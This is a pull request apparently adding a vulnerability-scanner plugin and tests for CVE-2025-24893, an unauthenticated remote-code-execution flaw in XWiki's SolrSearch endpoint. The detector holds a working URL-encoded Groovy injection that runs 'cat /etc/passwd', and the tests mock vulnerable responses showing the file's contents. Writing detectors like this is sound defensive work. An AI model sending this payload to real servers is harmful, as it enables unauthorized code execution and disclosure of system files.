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PRP: XWiki_CVE_2025_24893 #689

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PRP: XWiki_CVE_2025_24893 #689

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ce72d5a
Add: new plugin XWiki_CVE_2025_24893
a3vX Aug 16, 2025
cb01fc5
Edit plugin XWiki_CVE_2025_24893: fingerprinting action
a3vX Aug 22, 2025
60ca5d3
Remove trailing spaces
tooryx Nov 13, 2025
23a1c92
Replace tabs with spaces
tooryx Nov 13, 2025
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97 changes: 97 additions & 0 deletions templated/templateddetector/plugins/cve/2025/XWiki_CVE_2025_24893.textproto
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# proto-file: proto/templated_plugin.proto
# proto-message: TemplatedPlugin

###############
# PLUGIN INFO #
###############

info: {
type: VULN_DETECTION
name: "XWiki_CVE_2025_24893"
author: "a3vX"
version: "1.0"
}

finding: {
main_id: {
publisher: "GOOGLE"
value: "CVE-2025-24893"
}
severity: CRITICAL
title: "Unauthenticated Remote Code Execution (SolrSearch)"
description: "XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. Any guest can perform arbitrary remote code execution through a request to `SolrSearch`. This impacts the confidentiality, integrity and availability of the whole XWiki installation."
recommendation: "Upgrade to XWiki 15.10.11, 16.4.1 or 16.5.0RC1."
related_id: {
publisher: "CVE"
value: "CVE-2025-24893"
}
}

config: {}

###########
# ACTIONS #
###########

actions: {
name: "xwiki_fingerprinting"
http_request: {
method: GET
uri: "/"
response: {
http_status: 200
extract_all: {
patterns: [
{
from_body: {}
regexp: "<link rel=\"canonical\" href=\"/([^\"]*)bin/view/Main/\" />"
variable_name: "basePath"
}
]
}
expect_all: {
conditions: [
{ body: {} contains: "<div id=\"xwikiplatformversion\">" }
]
}
}
}
}


actions: {
name: "xwiki_exploit"
http_request: {
method: GET
uri: "/{{ basePath }}bin/get/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28{{ payload }}%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D"
response: {
http_status: 200
expect_all: {
conditions: [
{ body: {} contains: "{{ expectedRegex }}" }
]
}
}
}
}



#############
# WORKFLOWS #
#############

workflows: {
variables: [
# Linux specific payload
{ name: "payload" value: "%27cat+/etc/passwd%27.execute().text" },
{ name: "expectedRegex" value: "root:x:0:0:root" }
]

actions: [
"xwiki_fingerprinting",
"xwiki_exploit"
]
}


117 changes: 117 additions & 0 deletions templated/templateddetector/plugins/cve/2025/XWiki_CVE_2025_24893_test.textproto
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# proto-file: proto/templated_plugin_tests.proto
# proto-message: TemplatedPluginTests

config: {
tested_plugin: "XWiki_CVE_2025_24893"
}


tests: {
name: "whenVulnerable_returnsTrue"
expect_vulnerability: true
# Running XWiki 15.10.10

mock_callback_server: {
enabled: false
has_interaction: false
}

mock_http_server: {
mock_responses: [
{
uri: "/"
status: 302
headers: [
{ name: "Location" value: "/xwiki/" }
]
},
{
uri: "/xwiki/"
status: 302
headers: [
{ name: "Location" value: "/xwiki/bin/view/Main/" }
]
},
{
uri: "/xwiki/bin/view/Main/"
status: 200
body_content: "<html> <head>\n <meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\" />\n <title>Home - XWiki</title>\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\" />\n <link rel=\"icon\" href=\"/xwiki/resources/icons/xwiki/favicon16.png?cache-version=1716817112000\" type=\"image/png\" />\n <link rel=\"icon\" href=\"/xwiki/resources/icons/xwiki/favicon.svg?cache-version=1716817112000\" type=\"image/svg+xml\" />\n <link rel=\"apple-touch-icon\" href=\"/xwiki/resources/icons/xwiki/favicon144.png?cache-version=1716817112000\" />\n <link rel=\"alternate\" type=\"application/x-wiki\" title=\"Edit\" href=\"/xwiki/bin/edit/Main/WebHome\" />\n <link rel=\"canonical\" href=\"/xwiki/bin/view/Main/\" />\n </head>\n...\n<body><div><div>\n<footer id=\"footerglobal\">\n <div id=\"xwikilicence\"></div>\n <div id=\"xwikiplatformversion\">\n <a href=\"https://extensions.xwiki.org?id=org.xwiki.platform:xwiki-platform-distribution-jetty-hsqldb:15.10.10:::/xwiki-commons-pom/xwiki-platform/xwiki-platform-distribution/xwiki-platform-distribution-jetty-hsqldb\">\n XWiki Jetty HSQLDB 15.10.10\n </a>\n </div>\n </footer>\n</div></div></body>\n</html>"
},
{
uri: "/xwiki/bin/get/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%27cat+/etc/passwd%27.execute().text%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D"
status: 200
body_content: "<p>&lt;?xml version=\"1.0\" encoding=\"UTF-8\"?&gt;<br/>&lt;rss xmlns:dc=\"<span class=\"wikiexternallink\"><a class=\"wikimodel-freestanding\" href=\"http://purl.org/dc/elements/1.1/\"><span class=\"wikigeneratedlinkcontent\">http://purl.org/dc/elements/1.1/</span></a></span>\" version=\"2.0\"&gt;<br/>&nbsp;&nbsp;&lt;channel&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&lt;title&gt;RSS feed for search on [}}}root:x:0:0:root:/root:/bin/bash<br/>daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin<br/>bin:x:2:2:bin:/bin:/usr/sbin/nologin<br/>sys:x:3:3:sys:/dev:/usr/sbin/nologin<br/>sync:x:4:65534:sync:/bin:/bin/sync<br/>games:x:5:60:games:/usr/games:/usr/sbin/nologin<br/>man:x:6:12:man:/var/cache/man:/usr/sbin/nologin<br/>lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin<br/>mail:x:8:8:mail:/var/mail:/usr/sbin/nologin<br/>news:x:9:9:news:/var/spool/news:/usr/sbin/nologin<br/>uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin<br/>proxy:x:13:13:proxy:/bin:/usr/sbin/nologin<br/>www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin<br/>backup:x:34:34:backup:/var/backups:/usr/sbin/nologin<br/>list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin<br/>irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin<br/>gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin<br/>nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin<br/>_apt:x:100:65534::/nonexistent:/usr/sbin/nologin<br/>xwiki:x:1000:1000::/home/xwiki:/bin/bash]&lt;/title&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&lt;link&gt;<span class=\"wikiexternallink\"><a class=\"wikimodel-freestanding\" href=\"http://180.149.199.132:8080/xwiki/bin/view/Main/SolrSearch?text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%27cat%20%2Fetc%2Fpasswd%27.execute%28%29.text%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D\"><span class=\"wikigeneratedlinkcontent\">http://180.149.199.132:8080/xwiki/bin/view/Main/SolrSearch?text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%27cat%20%2Fetc%2Fpasswd%27.execute%28%29.text%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D</span></a></span>&lt;/link&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&lt;description&gt;RSS feed for search on [}}}root:x:0:0:root:/root:/bin/bash<br/>daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin<br/>bin:x:2:2:bin:/bin:/usr/sbin/nologin<br/>sys:x:3:3:sys:/dev:/usr/sbin/nologin<br/>sync:x:4:65534:sync:/bin:/bin/sync<br/>games:x:5:60:games:/usr/games:/usr/sbin/nologin<br/>man:x:6:12:man:/var/cache/man:/usr/sbin/nologin<br/>lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin<br/>mail:x:8:8:mail:/var/mail:/usr/sbin/nologin<br/>news:x:9:9:news:/var/spool/news:/usr/sbin/nologin<br/>uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin<br/>proxy:x:13:13:proxy:/bin:/usr/sbin/nologin<br/>www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin<br/>backup:x:34:34:backup:/var/backups:/usr/sbin/nologin<br/>list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin<br/>irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin<br/>gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin<br/>nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin<br/>_apt:x:100:65534::/nonexistent:/usr/sbin/nologin<br/>xwiki:x:1000:1000::/home/xwiki:/bin/bash]&lt;/description&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&lt;language&gt;en&lt;/language&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&lt;copyright /&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&lt;dc:creator&gt;XWiki&lt;/dc:creator&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&lt;dc:language&gt;en&lt;/dc:language&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&lt;dc:rights /&gt;<br/>&nbsp;&nbsp;&lt;/channel&gt;<br/>&lt;/rss&gt;</p><div class=\"wikimodel-emptyline\"></div><div class=\"wikimodel-emptyline\"></div>"
},
{
uri: "/xwiki/bin/get/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%27ProofCodeExecution%27%2B%2816%2B26%29%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D"
status: 200
body_content: "<p>&lt;?xml version=\"1.0\" encoding=\"UTF-8\"?&gt;<br/>&lt;rss xmlns:dc=\"<span class=\"wikiexternallink\"><a class=\"wikimodel-freestanding\" href=\"http://purl.org/dc/elements/1.1/\"><span class=\"wikigeneratedlinkcontent\">http://purl.org/dc/elements/1.1/</span></a></span>\" version=\"2.0\"&gt;<br/>&nbsp;&nbsp;&lt;channel&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&lt;title&gt;RSS feed for search on [}}}ProofCodeExecution42]&lt;/title&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&lt;link&gt;<span class=\"wikiexternallink\"><a class=\"wikimodel-freestanding\" href=\"http://180.149.199.132:8080/xwiki/bin/view/Main/SolrSearch?text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%27ProofCodeExecution%27%2B%2816%2B26%29%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D\"><span class=\"wikigeneratedlinkcontent\">http://180.149.199.132:8080/xwiki/bin/view/Main/SolrSearch?text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%27ProofCodeExecution%27%2B%2816%2B26%29%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D</span></a></span>&lt;/link&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&lt;description&gt;RSS feed for search on [}}}ProofCodeExecution42]&lt;/description&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&lt;language&gt;en&lt;/language&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&lt;copyright /&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&lt;dc:creator&gt;XWiki&lt;/dc:creator&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&lt;dc:language&gt;en&lt;/dc:language&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&lt;dc:rights /&gt;<br/>&nbsp;&nbsp;&lt;/channel&gt;<br/>&lt;/rss&gt;</p><div class=\"wikimodel-emptyline\"></div><div class=\"wikimodel-emptyline\"></div>"
}
]
}
}

tests: {
name: "whenPatched_returnsFalse"
expect_vulnerability: false
# Running XWiki 15.10.11

mock_callback_server: {
enabled: false
has_interaction: false
}

mock_http_server: {
mock_responses: [
{
uri: "/"
status: 302
headers: [
{ name: "Location" value: "/xwiki/" }
]
},
{
uri: "/xwiki/"
status: 302
headers: [
{ name: "Location" value: "/xwiki/bin/view/Main/" }
]
},
{
uri: "/xwiki/bin/view/Main/"
status: 200
body_content: "<html> <head>\n <meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\" />\n <title>Home - XWiki</title>\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\" />\n <link rel=\"icon\" href=\"/xwiki/resources/icons/xwiki/favicon16.png?cache-version=1716817112000\" type=\"image/png\" />\n <link rel=\"icon\" href=\"/xwiki/resources/icons/xwiki/favicon.svg?cache-version=1716817112000\" type=\"image/svg+xml\" />\n <link rel=\"apple-touch-icon\" href=\"/xwiki/resources/icons/xwiki/favicon144.png?cache-version=1716817112000\" />\n <link rel=\"alternate\" type=\"application/x-wiki\" title=\"Edit\" href=\"/xwiki/bin/edit/Main/WebHome\" />\n <link rel=\"canonical\" href=\"/xwiki/bin/view/Main/\" />\n </head>\n...\n<body><div><div>\n<footer id=\"footerglobal\">\n <div id=\"xwikilicence\"></div>\n <div id=\"xwikiplatformversion\">\n <a href=\"https://extensions.xwiki.org?id=org.xwiki.platform:xwiki-platform-distribution-jetty-hsqldb:15.10.11:::/xwiki-commons-pom/xwiki-platform/xwiki-platform-distribution/xwiki-platform-distribution-jetty-hsqldb\">\n XWiki Jetty HSQLDB 15.10.11\n </a>\n </div>\n </footer>\n\n</div></div></body>\n</html>"
},
{
uri: "/xwiki/bin/get/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%27cat+/etc/passwd%27.execute().text%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D"
status: 200
body_content: "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<rss xmlns:dc=\"http://purl.org/dc/elements/1.1/\" version=\"2.0\">\n <channel>\n <title>RSS feed for search on [}}}{{async async=false}}{{groovy}}println('cat /etc/passwd'.execute().text){{/groovy}}{{/async}}]</title>\n <link>http://180.149.199.132:8080/xwiki/bin/view/Main/SolrSearch?text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%27cat%20%2Fetc%2Fpasswd%27.execute%28%29.text%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D</link>\n <description>RSS feed for search on [}}}{{async async=false}}{{groovy}}println('cat /etc/passwd'.execute().text){{/groovy}}{{/async}}]</description>\n <language>en</language>\n <copyright />\n <dc:creator>XWiki</dc:creator>\n <dc:language>en</dc:language>\n <dc:rights />\n </channel>\n</rss>"
},
{
uri: "/xwiki/bin/get/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%27ProofCodeExecution%27%2B%2816%2B26%29%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D"
status: 200
body_content: "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<rss xmlns:dc=\"http://purl.org/dc/elements/1.1/\" version=\"2.0\">\n <channel>\n <title>RSS feed for search on [}}}{{async async=false}}{{groovy}}println('ProofCodeExecution'+(16+26)){{/groovy}}{{/async}}]</title>\n <link>http://180.149.199.132:8080/xwiki/bin/view/Main/SolrSearch?text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%27ProofCodeExecution%27%2B%2816%2B26%29%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D</link>\n <description>RSS feed for search on [}}}{{async async=false}}{{groovy}}println('ProofCodeExecution'+(16+26)){{/groovy}}{{/async}}]</description>\n <language>en</language>\n <copyright />\n <dc:creator>XWiki</dc:creator>\n <dc:language>en</dc:language>\n <dc:rights />\n </channel>\n</rss>"
}
]
}
}

tests: {
name: "whenNotXWiki_returnsFalse"
expect_vulnerability: false

mock_callback_server: {
enabled: false
has_interaction: false
}

mock_http_server: {
mock_responses: [
{
uri: "/"
status: 200
body_content: "<html><title>Some Other App</title></html>"
}
]
}
}